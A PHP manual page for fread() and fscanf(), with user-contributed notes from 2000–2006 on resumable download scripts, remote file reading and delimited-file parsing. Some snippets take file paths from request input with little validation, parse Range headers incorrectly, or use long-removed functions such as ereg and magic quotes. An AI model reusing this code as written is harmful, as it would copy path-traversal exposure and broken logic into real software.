参见 fwrite()，fopen()，fsockopen()，popen()，fgets()，fgetss()，fscanf()，file() 和 fpassthru()。

add a note add a note User Contributed Notes
Dhani dot Novan at gmail dot com
03-Apr-2006 06:57
Better version from dl_file_resume
i just compile from past post notes here

Change:
1. Fix Critical BUG : (file exe will corrupt because the size is minus one)
before: header("Content-Length: ".$size2);
after: header("Content-Length: ".$size);

2. closequote filename
before: header("Content-Disposition: attachment; filename=$filename");
after: header("Content-Disposition: attachment; filename=\"$filename\"");

3. read as binary
before: $fp=fopen("$file","r");
after: $fp=fopen("$file","rb");

4. use ob_flush

5. workaround for IE filename bug

<?php
function dl_file_resume($file){

   //First, see if the file exists
   if (!is_file($file)) { die("<b>404 File not found!</b>"); }

   //Gather relevent info about file
   $len = filesize($file);
   $filename = basename($file);
   $file_extension = strtolower(substr(strrchr($filename,"."),1));

   //This will set the Content-Type to the appropriate setting for the file
   switch( $file_extension ) {
       case "exe": $ctype="application/octet-stream"; break;
       case "zip": $ctype="application/zip"; break;
       case "mp3": $ctype="audio/mpeg"; break;
       case "mpg":$ctype="video/mpeg"; break;
       case "avi": $ctype="video/x-msvideo"; break;
       default: $ctype="application/force-download";
   }

   //Begin writing headers
   header("Cache-Control:");
   header("Cache-Control: public");

   //Use the switch-generated Content-Type
   header("Content-Type: $ctype");
   if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
       # workaround for IE filename bug with multiple periods / multiple dots in filename
       # that adds square brackets to filename - eg. setup.abc.exe becomes setup[1].abc.exe
       $iefilename = preg_replace('/\./', '%2e', $filename, substr_count($filename, '.') - 1);
       header("Content-Disposition: attachment; filename=\"$iefilename\"");
   } else {
       header("Content-Disposition: attachment; filename=\"$filename\"");
   }
   header("Accept-Ranges: bytes");

   $size=filesize($file);
   //check if http_range is sent by browser (or download manager)
   if(isset($_SERVER['HTTP_RANGE'])) {
       list($a, $range)=explode("=",$_SERVER['HTTP_RANGE']);
       //if yes, download missing part
       str_replace($range, "-", $range);
       $size2=$size-1;
       $new_length=$size2-$range;
       header("HTTP/1.1 206 Partial Content");
       header("Content-Length: $new_length");
       header("Content-Range: bytes $range$size2/$size");
   } else {
       $size2=$size-1;
       header("Content-Range: bytes 0-$size2/$size");
       header("Content-Length: ".$size);
   }
   //open the file
   $fp=fopen("$file","rb");
   //seek to start of missing part
   fseek($fp,$range);
   //start buffered download
   while(!feof($fp)){
       //reset time limit for big files
       set_time_limit(0);
       print(fread($fp,1024*8));
       flush();
       ob_flush();
   }
   fclose($fp);
   exit;
}
?>
yellow1912 at yahoo dot com
02-Feb-2006 03:46
I tried to use the download resume script below, but it put extreme load on the server for just 1 download only (the file is around 200MB).

Be carefull when you test the script on your server. I'll fgets, or other functions and see if it works.
junk at gieson dot com
15-Jan-2006 06:40
To force download an mp3 file and/or prevent the mp3 from ending up in the browser's cache. This is very similiar to mindplay's example below.

<?php
@ob_end_clean();
// Only allow mp3 files
$allowedFileType = "mp3";

// Set the filename based on the URL's query string
$theFile = $_REQUEST['theFile'];

// Get info about the file
$f = pathinfo($theFile);

// Check the extension against allowed file types
if(strtolower($f['extension']) != strtolower($allowedFileType)) exit;

// Make sure the file exists
if (!file_exists($theFile)) exit;

// Set headers
header("Pragma: public");
header("Expires: Thu, 19 Nov 1981 08:52:00 GMT");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: private");
header("Content-Transfer-Encoding: binary");
header("Content-Type: audio/x-mpeg, audio/x-mpeg-3, audio/mpeg3");
// This line causes the browser's "save as" dialog
header( 'Content-Disposition: attachment; filename="'.$f['basename'].'"' );
// Length required for Internet Explorer
header("Content-Length: ".@urldecode(@filesize($theFile)));

// Open file
if (($f = fopen($theFile, 'rb')) === false) exit;

// Push file
while (!feof($f)) {
   echo fread($f, (1*(1024*1024)));
   flush();
   @ob_flush();
}

// Close file
fclose($f);
exit;

?>
xjust at 3axe dot com
28-Sep-2005 04:06
i fixed the resume download function since there were few bugs in it. here it goes

changes:
- i added "partial content" header
- added "bytes" to the first content-range header
- changed _ENV to _SERVER on HTTP_RANGE

best regards from xjust.

function dl_file_resume($file){

   //First, see if the file exists
   if (!is_file($file)) { die("<b>404 File not found!</b>"); }

   //Gather relevent info about file
   $len = filesize($file);
   $filename = basename($file);
   $file_extension = strtolower(substr(strrchr($filename,"."),1));

   //This will set the Content-Type to the appropriate setting for the file
   switch( $file_extension ) {
     case "exe": $ctype="application/octet-stream"; break;
     case "zip": $ctype="application/zip"; break;
     case "mp3": $ctype="audio/mpeg"; break;
     case "mpg":$ctype="video/mpeg"; break;
     case "avi": $ctype="video/x-msvideo"; break;

     //The following are for extensions that shouldn't be downloaded (sensitive stuff, like php files)
     case "php":
     case "htm":
     case "html":
     case "txt": die("<b>Cannot be used for ". $file_extension ." files!</b>"); break;

     default: $ctype="application/force-download";
   }

   //Begin writing headers
//  header("Pragma: public");
//  header("Expires: 0");
   header("Cache-Control:");
   header("Cache-Control: public");
//  header("Content-Description: File Transfer");

   //Use the switch-generated Content-Type
   header("Content-Type: $ctype");
$filespaces = str_replace("_", " ", $filename);

//if your filename contains underscores, you can replace them with spaces
//  $header='Content-Disposition: attachment; filename='.$filespaces;
   header($header );
//
header("Accept-Ranges: bytes");
//  header("Content-Transfer-Encoding: binary");

  $size=filesize($file);
//check if http_range is sent by browser (or download manager)
   if(isset($_SERVER['HTTP_RANGE'])) {
 list($a, $range)=explode("=",$_SERVER['HTTP_RANGE']);
//if yes, download missing part
 str_replace($range, "-", $range);
 $size2=$size-1;
 $new_length=$size2-$range;
 header("HTTP/1.1 206 Partial Content");
 header("Content-Length: $new_length");
 header("Content-Range: bytes $range$size2/$size");
} else {
 $size2=$size-1;
 header("Content-Range: bytes 0-$size2/$size");
 header("Content-Length: ".$size2);
}
//open the file
$fp=fopen("$file","r");
//seek to start of missing part
fseek($fp,$range);
//start buffered download
while(!feof($fp))
{
//reset time limit for big files
set_time_limit(0);
print(fread($fp,1024*8));
 flush();
}
fclose($fp);

   exit;

}
adamgamble at gmail dot com
21-Sep-2005 11:00
/*
geoCode($address)
Accepts an address in the form of
999 Geocode Dr. New York, Ny 10108
returns array with lat and lon
*/

function geoCode($address) {

   $gaddress = "http://maps.google.com?q=" . urlencode($address);

   $handle = fopen($gaddress, "r");
   $contents = '';

     while (!feof($handle)) {
         $contents .= fread($handle, 8192);
     }
     fclose($handle);
     ereg('<center lat="([0-9.-]{1,})" lng="([0-9.-]{1,})"/>', $contents, $regs);

     $returnData['lat'] = $regs[1];
     $returnData['lon'] = $regs[2];

     return $returnData;
}

print_r(geoCode("1064 Georgetown ln. Birmingham, Al 35217"));
Richard Dale richard at premiumdata dot n dot e dot t
01-Jul-2005 12:11
If you use any of the above code for downloadinng files, Internet Explorer will change the filename if it has multiple periods in it to something with square brackets.  To work around this, we check to see if the User Agent contains MSIE and rewrite the necessary periods as %2E

<?
# eg. $filename="setup.abc.exe";
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
   # workaround for IE filename bug with multiple periods / multiple dots in filename
   # that adds square brackets to filename - eg. setup.abc.exe becomes setup[1].abc.exe
   $iefilename = preg_replace('/\./', '%2e', $filename, substr_count($filename, '.') - 1);
   header("Content-Disposition: attachment; filename=$iefilename" );
} else {
   header("Content-Disposition: attachment; filename=$filename");
}
?>
admin at rainer-schuetze dot de
14-Jun-2005 09:25
According: dvsoftware at gmail dot com

Hi all, the sript by dvsoftware is quit handy. But I had a lot of problems to read the dam.. file. Every file. I was using a Windows Platform, maybe that was the mistake.
Annyway, I had to read the file in one session:

<?
:
:

       while(!feof($fp))
       {
               //print (fread($fp,1024*8)); //4096 //1024*8
               print fread($fp,$size);
               flush();
       }
       fclose($fp);
:
:
?>
sheyh[at]nospam[]sheyh[dot]nospam[]com
20-Apr-2005 07:39
Following code which was given as official example can lead to infinite loop.
In case of running from command line and there is no Internet connection, fopen will fail by script timeout, however after that "!feof($handle)" will never be true.

The result will be script displaying infinite warnings and taking 10-20% cpu and it will not stop unless killed.

<?php
$handle = fopen("http://www.example.com/", "r");
$contents = '';
while (!feof($handle)) {
  $contents .= fread($handle, 8192);
}
fclose($handle);
?>

I belive correct example should be:

<?php
$handle = fopen("http://www.example.com/", "r");
$contents = '';
if($handle)
{
 while (!feof($handle)) {
   $contents .= fread($handle, 8192);
 }
fclose($handle);
}
?>
james at reflexive dot net
20-Apr-2005 02:34
Several of these examples use a Content-Disposition header to force the browser to save a file but then they specify the file name without quotes. This will cause problems for some browsers (Mozilla Fire Fox) if the file name contains a space.  You must put quotes around the name if you want to work reliably for all files in all browsers.
<?php
header ("Content-Disposition: attachment; filename=$theFileName"); // bad

header ("Content-Disposition: attachment; filename=\"$theFileName\""); // good

?>
planetiss at gmail dot com
08-Apr-2005 08:38
For download the big files (more than 8MB), you must used ob_flush() because the function flush empty the Apache memory and not PHP memory.
And the max size of PHP memory is 8MB, but ob_flush is able to empty the PHP memory.

header('Content-Type: application/force-download');
header ("Content-Length: " . filesize($file));
header ("Content-Disposition: attachment; filename=$theFileName");

   $fd = fopen($file, "r");
   while(!feof($fd))
  {
       echo fread($fd, 4096);
       ob_flush();

   }
mrhappy[at]dotgeek.org
08-Apr-2005 10:02
Just a note for anybody trying to implement a php handled download script -

We spent a long time trying to figure out why our code was eating system resources on large files.. Eventually we managed to trace it to output buffering that was being started on every page via an include.. (It was attempting to buffer the entire 600 Megs or whatever size *before* sending data to the client) if you have this problem you may want to check that first and either not start buffering or close that in the usual way :)

Hope that prevents somebody spending hours trying to fix an obscure issue.

Regards :)
james at reflexive dot net
18-Mar-2005 02:22
You will probably want to call unpack() if you are trying to read binary data out of a file and you want to interpret the data you read (rather than just passing it through to a browser). For example, if you were reading the header if a binary file format such as a BMP image file you would need to read 4 byte integers out of the binary file.  fread() will return the binary data in a string.  unpack() will let you extract data out of the string an use it as a number.
<?php
function Read32BitLittleEndianIntFromBinaryFile($FileHandle)
{
   $BinaryData = fread($FileHandle, 4);
   $UnpackedData = unpack("V", $BinaryData);
   return $UnpackedData[1];
}
?>
dvsoftware at gmail dot com
14-Mar-2005 04:22
I was trying to implement resume support in download script, and i have finnaly succeded. here is the script:

<?php
function dl_file_resume($file){

   //First, see if the file exists
   if (!is_file($file)) { die("<b>404 File not found!</b>"); }

   //Gather relevent info about file
   $len = filesize($file);
   $filename = basename($file);
   $file_extension = strtolower(substr(strrchr($filename,"."),1));

   //This will set the Content-Type to the appropriate setting for the file
   switch( $file_extension ) {
     case "exe": $ctype="application/octet-stream"; break;
     case "zip": $ctype="application/zip"; break;
     case "mp3": $ctype="audio/mpeg"; break;
     case "mpg":$ctype="video/mpeg"; break;
     case "avi": $ctype="video/x-msvideo"; break;

     //The following are for extensions that shouldn't be downloaded (sensitive stuff, like php files)
     case "php":
     case "htm":
     case "html":
     case "txt": die("<b>Cannot be used for ". $file_extension ." files!</b>"); break;

     default: $ctype="application/force-download";
   }

   //Begin writing headers
   header("Pragma: public");
   header("Expires: 0");
   header("Cache-Control:");
   header("Cache-Control: public");
   header("Content-Description: File Transfer");

   //Use the switch-generated Content-Type
   header("Content-Type: $ctype");
$filespaces = str_replace("_", " ", $filename);

//if your filename contains underscores, you can replace them with spaces
  $header='Content-Disposition: attachment; filename='.$filespaces.';';
   header($header );
   header("Content-Transfer-Encoding: binary");

  $size=filesize($file);
//check if http_range is sent by browser (or download manager)
   if(isset($_ENV['HTTP_RANGE'])) {
 list($a, $range)=explode("=",$_ENV['HTTP_RANGE']);
//if yes, download missing part
 str_replace($range, "-", $range);
 $size2=$size-1;
 header("Content-Range: $range$size2/$size");
 $new_length=$size2-$range;
 header("Content-Length: $new_length");
/if not, download whole file
} else {
 $size2=$size-1;
 header("Content-Range: bytes 0-$size2/$size");
 header("Content-Length: ".$size2);
}
//open the file
$fp=fopen("$file","r");
//seek to start of missing part
fseek($fp,$range);
//start buffered download
while(!feof($fp))
{
//reset time limit for big files
set_time_limit();
print(fread($fp,1024*8));
 flush();
}
fclose($fp);

   exit;

}
?>

EXAMPLE
<?php
dl_file_resume("somefile.mp3");
?>

please write if you find any errors, i have tested this only with mp3 files, but others should be fine
fenris_wolf0 at yahoo dot com
05-Mar-2005 06:59
To make the effects of the latest PHP version changes of the fread function even more explicit:  the new size limitation of fread -regardless of the filesize one specifies,  in the example below 1024 * 1024- means that if one was  simply reading the contents of a text file from a dynamic URL like so:

<?
  $dp = "http://www.whatever.com/filename.php";
  $buffer = fopen($dp, 'r');
  if (!$buffer)
   {
     echo("<P>Error: unable to load URL file into $buffer.      Process  aborted.</P>");
     exit();
   }
  $sp = fread($buffer, 1024*1024);
  fclose($buffer);
  highlight_string($sp);
?>

one should from now on use the file_get_contents function, as shown below, to avoid one's text being truncated forcibly.

<?
  $dp = "http://www.whatever.com/filename.php";
  if (!$dp)
   {
     echo("<P>Error: unable to load URL file into $dp.  Process aborted.</P>");
     exit();
   }
  $sp = file_get_contents($dp);
  highlight_string($sp);
?>

I thought it couldn't hurt to clarify this detail in order to save time for anyone else who is in the same situation as I was tonight when my ISP abruptly upgraded to the latest version of PHP...    :(

Thank you to every previous contributor to this topic.
m (at) mindplay (dot) dk
16-Jan-2005 04:20
Here's a function for sending a file to the client - it may look more complicated than necessary, but has a number of advantages over simpler file sending functions:

- Works with large files, and uses only an 8KB buffer per transfer.

- Stops transferring if the client is disconnected (unlike many scripts, that continue to read and buffer the entire file, wasting valuable resources) but does not halt the script

- Returns TRUE if transfer was completed, or FALSE if the client was disconnected before completing the download - you'll often need this, so you can log downloads correctly.

- Sends a number of headers, including ones that ensure it's cached for a maximum of 2 hours on any browser/proxy, and "Content-Length" which most people seem to forget.

(tested on Linux (Apache) and Windows (IIS5/6) under PHP4.3.x)

Note that the folder from which protected files will be pulled, is set as a constant in this function (/protected) ... Now here's the function:

<?php
function send_file($name) {
  ob_end_clean();
  $path = "protected/".$name;
  if (!is_file($path) or connection_status()!=0) return(FALSE);
  header("Cache-Control: no-store, no-cache, must-revalidate");
  header("Cache-Control: post-check=0, pre-check=0", false);
  header("Pragma: no-cache");
  header("Expires: ".gmdate("D, d M Y H:i:s", mktime(date("H")+2, date("i"), date("s"), date("m"), date("d"), date("Y")))." GMT");
  header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  header("Content-Type: application/octet-stream");
  header("Content-Length: ".(string)(filesize($path)));
  header("Content-Disposition: inline; filename=$name");
  header("Content-Transfer-Encoding: binary\n");
  if ($file = fopen($path, 'rb')) {
   while(!feof($file) and (connection_status()==0)) {
     print(fread($file, 1024*8));
     flush();
   }
   fclose($file);
  }
  return((connection_status()==0) and !connection_aborted());
}
?>

And here's an example of using the function:

<?php
if (!send_file("platinumdemo.zip")) {
die ("file transfer failed");
// either the file transfer was incomplete
// or the file was not found
} else {
// the download was a success
// log, or do whatever else
}
?>

Regards,
Rasmus Schultz
dave at jujuwebdesign dot com
07-Jan-2005 09:07
using the ternary operator as follows seems to be the neatest way of eliminating the 0 length warning (discussed above)...

$content = filesize($file)?fread($handle, filesize($file)):"";
drane
09-Dec-2004 05:53
Somewhere between 4.2.3 and 4.3.9, the behaviour of fread() was changed slightly.

When you ask to fread() 0 bytes of data, it spits out a warning  (IMO for no good reason.  I think reading 0 bytes is perfectly valid, if not very useful.)

Consequently, to write warning-free code using fread, you'd have to take code like this:

$content=fread($fd,filesize($myfile));

and replace it with this:

$content='';
$length=filesize($myfile);
if($length) {
  $content = fread($fd, $length);
}

...or this, depending on your taste:

$length=filesize($myfile);
if($length) {
  $content = fread($fd, $length);
} else {
  $content='';
}

(I'm aware that there are much better ways to read in a whole file at once.  I'm just fixing up someone else's code after a server switch and ran across this stupid warning.)
ibis at connect dot ie
02-Dec-2004 06:23
If, like me, you're in the habit of using fopen("http://...") and fread for pulling fairly large remote files, you may find that the upgrade to PHP5 (5.0.2 on Win2000/IIS5) causes fread to top out at about 8035 bytes. PHP5 RC2 with identical php.ini settings did not exhibit this behaviour (I was using this for testing). Irritating for me because I was using simple_xml_load to load the file contents as XML, and the problem initially appeared to be that function.

Solution - swap over to file_get_contents or use the loop suggested on the documentation above (see Warning).
mightymrj at hotmail dot com
29-Oct-2004 01:37
Problem: mime attachments sending as blank or almost completely blank documents (all data is lost)

Explanation: After a couple days of trying to mime pdf attachments without losing all data, I finally came across this function in some obsolete obscure post:

set_magic_quotes_runtime()

This is set to on by default in the machine, and it causes fread() and/or base64_encode() (both used in most mime examples I've seen) to read or encrypt binary without slashes for special characters.  This causes sent files to process incorrectly, breaking, thus truncating most of the data in the file.

Fix: pass 0 to this function and it will do a one time turn off while your code executes.

example:
<?php
   set_magic_quotes_runtime(0);
?>

This can also been turned off in the php.ini file, but I'm not sure what uses that setting or what the consequences might be.

info:
   http://us2.php.net/manual/en/function.set-magic-quotes-runtime.php
fpinho at hotpop dot com
14-Oct-2004 05:21
After using the suggested function from Rasmus Schultz : mindplay(at)mindplay(dot)dk, I've just noticed that people trying to download big files with a slow connection would get download stopped after exactly 60seconds -> the max execution time set with php.ini.
I suggest using a bigger buffer (1024x1024), or maybe resetting the time limit within the 'while' cicle with:
   set_time_limit(0);

The cicle would go like this:

   while(!feof($file) and (connection_status()==0)) {
     print(fread($file, 1024*1024));
     set_time_limit(0);
     flush();
   }

Frederico Pinho
aidan at php dot net
01-Jul-2004 07:55
As of PHP 5.0.0 and PHP 4.3.8, fread($stream, 2048) will only grab 1 packet worth of data from the buffer in a TCP/IP or UDP stream.

Note: 2048 is the suggested size to make sure you get all of one packet, any size larger than that will still have the same result
Mark
15-Jun-2004 08:37
Unfortunately, or maybe fortunately, magic_quotes_runtime setting in php.ini affects this call, even if you specify the bytes count, and even if you specify that the file you're reading is binary (via 'rb' when calling fopen.) So be careful, especially if you're using someone else's library that depends on binary read.
webmaster at wildpeaks dot com
14-May-2004 03:32
The following function retrieves a line in a file, regardless of its size, so you won't get an error if the file's size is beyond php's allowed memory limit (the string has to be below however), which is something i was needing for accessing a big log file generated by a webhost. Indexes start at 1 (so $line = 1 means the first line unlike arrays). If the file is small, it would be better to use "file()" however.

<?php
function strpos_count($haystack, $needle, $i = 0) {
   while (strpos($haystack,$needle) !== false) {$haystack = substr($haystack, (strpos($haystack,$needle) + 1)); $i++;}
   return $i;
}
function getLine($file,$line=1){
   $occurence = 0;
   $contents = '';
   $startPos = -1;
   if (!file_exists($file)) return '';
   $fp = @fopen($file, "rb");
   if (!$fp) return '';
   while (!@feof($fp)) {
       $str = @fread($fp, 1024);
       $number_of_occurences = strpos_count($str,"\n");
       if ($number_of_occurences == 0) {if ($start_pos != -1) {$contents .= $str;}}
       else {
           $lastPos = 0;
           for ($i = 0; $i < $number_of_occurences; $i++){
               $pos = strpos($str,"\n", $lastPos);
               $occurence++;
               if ($occurence == $line) {
                   $startPos = $pos;
                   if ($i == $number_of_occurences - 1) {$contents = substr($str, $startPos + 1);}
               } elseif ($occurence == $line + 1) {
                   if ($i == 0) {$contents .= substr($str, 0, $pos);} else {$contents = substr($str, $startPos, $pos - $startPos);}
                   $occurence = 0;
                   break;
               }
               $lastPos = $pos + 1;
           }
       }
   }
   @fclose($fp);
   return $contents;
}
?>
squeegee
13-Apr-2004 08:25
fread also works for fsockopen's that are open-ended (no feof) if you know how the last packet for a particular set of data should end. For example, if you sent a command to an nntp server, the reply from the server would end with a dot and a carriage return/linefeed. The connection still stays open for more commands, but doing it this way is more efficient than doing line-by-line fgets until you get to the end of the reply.

<?php
if(($res=nntp_cmd($conn,"BODY $msgid",222))===false){
   continue;
}else{
   $contents='';
   while(1){
       $packet=fread($conn,8192);
       $contents.=$packet;
       if(substr($packet,-3)==".\r\n")break;
   }
   // do something with $contents
}
?>
Brian
17-May-2003 05:10
Two quick notes on download prompting...
First, the following line:

<?php
header("Cache-Control: no-cache, must-revalidate");
?>

causes IE6 to prompt you to download the script instead of the output and will fail to connect.  Take out that header and everything works perfectly.

Pragma: no-cache doesn't cause a problem.

Second, Mozilla tries to add .php to the download file name if content-type is application. Changing the content type to the more specific MIME type (such as audio/mpeg) fixes that but causes IE to try its plugins (such as Quicktime).

The fix I found for that to specify attachment instead of inline.  Here's my code: a prompted, small buffer MP3 download:

<?php
function downloadMP3 ($fileDir, $fileName) {
   $completeFilePath=$fileDir.'/'.$fileName;
   header('Pragma: no-cache');
   header("Content-type: audio/mpeg\nContent-Disposition: attachment; filename=\"" . $fileName . "\"\nContent-length: ".(string)(filesize($completeFilePath)));
   $fd=fopen($completeFilePath,'rb');
     while(!feof($fd)) {
         print(fread($fd, 4096));
         flush();
     }
}
?>
c97 at c97 dot art dot pl
21-Nov-2002 01:02
Simple script to limit browser download speed using fread function.

<?php

$file = "test.mp3"; // file to be send to the client
$speed = 8.5; // 8,5 kb/s download rate limit

if(file_exists($file) && is_file($file)) {

   header("Cache-control: private");
   header("Content-Type: application/octet-stream");
   header("Content-Length: ".filesize($file));
   header("Content-Disposition: filename=$file" . "%20");

   flush();

   $fd = fopen($file, "r");
   while(!feof($fd)) {
         echo fread($fd, round($speed*1024));
       flush();
       sleep(1);
   }
   fclose ($fd);

}

?>
rob at lbox.org
14-Nov-2002 05:28
I spent a while trying to get this to work so I thought I'd share.

Here's how to read a remote binary file using fread.

<?php
$fp = fopen("http://www.site.com/img.jpg", "rb");

if($fp){
 while(!feof($fp)) {
     $img = $img . fread($fp, 1024);
 }
}
?>

This will read the contents of the file into the var $img 1024 bytes at a time.  I used that number because it seemed safe, but you can increment it all you want I guess.

I don't know if everyone but me gets this, but I thought I'd share since I didn't see anything like it out there.
mail at scherzbold dot net
08-Jul-2002 09:09
I wrote a simple function for grabbing binary files from the web.

<?php
function wwwcopy($file,$nfile)
{
   $fp = @fopen($file,"rb");
   while(!feof($fp))
   {
       $cont.= fread($fp,1024);
   }
   fclose($fp);

   $fp2 = @fopen($nfile,"w");
   fwrite($fp2,$cont);
   fclose($fp2);
}
?>
sbedbergAT at ucdavisDOT dot edu
10-Jun-2002 11:40
PHP seems to preallocate a buffer of length <length> - so, you may need to increase your memory_limit if you use a large <length>, even though the actual bytecount read is small.
(this is on php 4.1.1/Solaris 8; your mileage may vary).
heikki dot korpela at wapit dot com
26-Aug-2000 05:22
Fread is binary-safe IF AND ONLY IF you don't use magic-quotes. If you do, all null bytes will become \0, and you might get surprising results when unpacking.

That is, you would do something like

<?php
set_magic_quotes_runtime(0);
?>

before fread()

and something like

<?php
set_magic_quotes_runtime(get_magic_quotes_gpc()) after.
?>

And, after fread, an unpack would be needed, of course. Surprisingly, pack(), however, does not work quite like in Perl (or perhaps I'm just missing something here) - you can't pack an array directly, but instead you'll have to pack each element seperately to the string:

<?php
foreach ($data as $dec) {
  $data_output .= pack("C*", $dec);
}
?>
ethanh at pushgroup dot net
15-Jan-2000 10:49
For reading from a specified point in the file, use:

<?php
$fp=fopen("$filename","r");
fseek($fp,$numpoint);
$content=fread($fp,filesize("$filename"));
fclose($fp);
?>

For doing the same with an url-based file, use jeichorn@mail.com's solution and substr it.
add a note add a note

后退 | 起点 | 前进
fputs | 上一级 | fscanf


fscanf

(PHP 4 >= 4.0.1, PHP 5)

fscanf -- 从文件中格式化输入

说明

mixed fscanf ( resource handle, string format [, mixed &...] )

fscanf() 函数和 sscanf() 相似，但是它从与 handle 关联的文件中接受输入并根据指定的 format（定义于 sprintf() 的文档中）来解释输入。如果只给此函数传递了两个参数，解析后的值会被作为数组返回。否则，如果提供了可选参数，此函数将返回被赋值的数目。可选参数必须用引用传递。

格式字符串中的任何空白会与输入流中的任何空白匹配。这意味着甚至格式字符串中的制表符 \t 也会与输入流中的一个空格字符匹配。

例子 1. fscanf() 例子

<?php
$handle = fopen("users.txt","r");
while ($userinfo = fscanf($handle, "%s\t%s\t%s\n")) {
    list ($name, $profession, $countrycode) = $userinfo;
    //... do something with the values
}
fclose($handle);
?>

例子 2. users.txt 的内容

javier  argonaut        pe
hiroshi sculptor        jp
robert  slacker us
luigi   florist it

注: 在 PHP 4.3.0 之前，从文件中读入的最大字符数是 512（或者第一个 \n，看先碰到哪种情况）。从 PHP 4.3.0 起可以读取任意长的行。

参见 fread()，fgets()，fgetss()，sscanf()，printf() 和 sprintf()。

add a note add a note User Contributed Notes
worldwideroach at hotmail dot com
15-Jul-2005 12:33
Yet another function to read a file and return a record/string by a delimiter.  It is very much like fgets() with the delimiter being an additional parameter.  Works great across multiple lines.

function fgetd(&$rFile, $sDelim, $iBuffer=1024) {
   $sRecord = '';
   while(!feof($rFile)) {
       $iPos = strpos($sRecord, $sDelim);
       if ($iPos === false) {
           $sRecord .= fread($rFile, $iBuffer);
       } else {
           fseek($rFile, 0-strlen($sRecord)+$iPos+strlen($sDelim), SEEK_CUR);
           return substr($sRecord, 0, $iPos);
       }
   }
   return false;
}
rudigreen at gmail dot com
02-Jul-2005 06:43
I have a function for reading delimited files, it works for multiple lines too (i think...)

<?
//$fh - is the file pointer
//$delim - is the seperator
//$callback - self explanatory
//$len - optional
function file_read_delim($fh,$delim,$callback,$len=1024)
{
   $rec = '';
   while(!feof($fh))
   {
       $buf = fread($fh,$len);
       if(strpos($buf,$delim) === false)
       {
           $rec .= $buf;
       }
       else
       {
           $strs = explode($delim,$buf);
           foreach ($strs as $ele)
           {
               $rec .= $ele;
               call_user_func($callback,$rec);
               $rec = '';
           }
       }
   }
}

//Here is an example how to use the function

$fh = fopen($filename,'r');
   if(!$fh)
   {
                 die 'Could not open file for reading';
   }
       //call the function
   file_read_delim($fh,'-','cb');
   fclose($fh);

function cb($rec)
{
echo "$rec \n";
}
?>
me at hesterc dot fsnet dot co dot uk
25-May-2004 10:03
I have a simpler method I use to parse delimited text. Using the data posted by gozer at fanhunter dot com, here is my script. Maybe it is faster?

<?php

$fp = fopen ("sections.dat","r");

if (!$fp) {echo "<p>Unable to open remote file.</p>"; exit;}

while (!feof($fp)):
 $line = fgets($fp, 2048);
 $out = array($line);
 list ($id, $name, $description, $language, $directory, $id_uplevel, $order, $hassubsection) = split ("\|", $out[0]);
 echo "$id-$name-$description-$language-$directory-
$id_uplevel-$order-$hassubsection<br />\n";
 $fp++;
endwhile;

fclose($fp);
?>

Notes:

Avoid the php extension on a data file - it will cause PHP to parse the file, but there is no PHP in it.

The "2048" value on line 2 of the loop is set for long lines. 1024 works fine, but I had to increase it with a large database I use a similar script to read.

You don't need to open and close the speech marks (as in gozer at fanhunter dot com's example) in the echo line, just use the variables inbetween the dashes.

(Remove the line break halfway through the echo line - it is just there for this forum.)
matt at mattsinclair dot com
21-Jan-2004 04:36
A better way to use fscanf() would be this:

<?php
$handle = fopen("users.txt", "r");
while (!feof($handle)) {
   $userinfo = fscanf($handle, "%s\t%s\t%s\n");
   if ($userinfo) {
     list ($name, $profession, $countrycode) = $userinfo;
     //... do something with the values
   }
   $userinfo=NULL;
}
fclose($handle);
?>

as you can see, instead of waiting for fscanf() to fail to return a value... it waits for the the pointer to get to the end of the file... this way, if for some reason one of your lines does not match your expression, it will not kill the loop.  it will simply go on to the next line.
robert at NOSPAM dot NOSPAM
25-Oct-2002 07:08
actually, instead of trying to think of every character that might be in your file, excluding the delimiter would be much easier.

for example, if your delimiter was a comma use:

%[^,]

instead of:

%[a-zA-Z0-9.| ... ]

Just make sure to use %[^,\n] on your last entry so you don't include the newline.
ruiner911 at yahoo dot com
16-Aug-2002 04:01
Clear the variables before you scan them in.  As a programmer this should have been very apparent.  Goof.
eugene at pro-access dot com
16-Mar-2002 04:39
If you want to read text files in csv format or the like(no matter what character the fields are separated with), you should use fgetcsv() instead. When a text for a field is blank, fscanf() may skip it and fill it with the next text, whereas fgetcsv() correctly regards it as a blank field.
gozer at fanhunter dot com
07-Mar-2002 10:53
Hi,
A few days ago we got multiple mySQL crashes due to a hardware failure and other processes running.
While we thought it could be the mySQL daemon overloaded, we started looking for alternate ways to get our little databases working so we started using fscanf to parse files.

We ran into multiple problems due to the whitespace and other characters that were in our database. Finally, we made it to work using sets as james@zephyr-works.com remarked.

Our final function is:

  function get_sections($include_dir){
   $filename = $include_dir . "sections.dat.php";
   $datafile = fopen ($filename ,"r");
   while ($sectioninfo = fscanf ($datafile, "%[0-9]|%[a-zA-Z0-9@&;:,. /!?-]|%[a-zA-Z0-9@&;:,. /!?-]|%[a-zA-Z]|%[a-zA-Z0-9@/?&;.+=-]|%[0-9]|%[0-9]|%[0-9]\n")) {
       list($id, $name, $description, $language, $directory, $id_uplevel, $order, $hassubsection) = $sectioninfo;

       // Show output
       echo $id . "-" . $name. "-" . $description . "-" . $language . "-" . $directory . "-" . $id_uplevel . "-" . $order . "-" . $hassubsection . "<br>\n";
   }
   fclose($datafile);
  }

The contents of sections.dat.php (for example):

1|home|P&aacute;gina principal de Fanhunter.|castellano|==|0|0|0
2|fanhunter|Secci&oacute;n principal dedicada al universo Fanhunter.|castellano|fanhunter/|1|0|0
3|outfan|Secci&oacute;n principal dedicada al universo Outfan.|castellano|outfan/|1|0|0
4|fanpiro|Secci&oacute;n principal dedicada al universo Fanpiro.|castellano|fanpiro/|1|0|0
5|tienda|La tienda de Fanhunter.|castellano|tienda/|1|0|0
6|the zone|Secci&oacute;n principal Miscel&aacute;nea.|castellano|thezone/|1|0|0
7|flfcn|Secci&oacute;n principal dedicada a Fan Letal/Fan con Nata.|castellano|fanletal/|1|0|0
8|foro|Nuestro foro de discusi&oacute;n.|castellano|foro/|1|0|0
9|chat|Secci&oacute;n para chatear.|castellano|chat/|1|0|0
10|links|Secci&oacute;n recopilatoria de enlaces de inter&eacute;s a otras p&aacute;ginas.|castellano|links/|1|0|0

Note: The '==' in directory means no directory needed to be specified.
Pay attention to linebreaks, as this forum puts some of them into the code I pasted.

Good luck guys.
james at zephyr-works dot com
08-Jul-2001 03:29
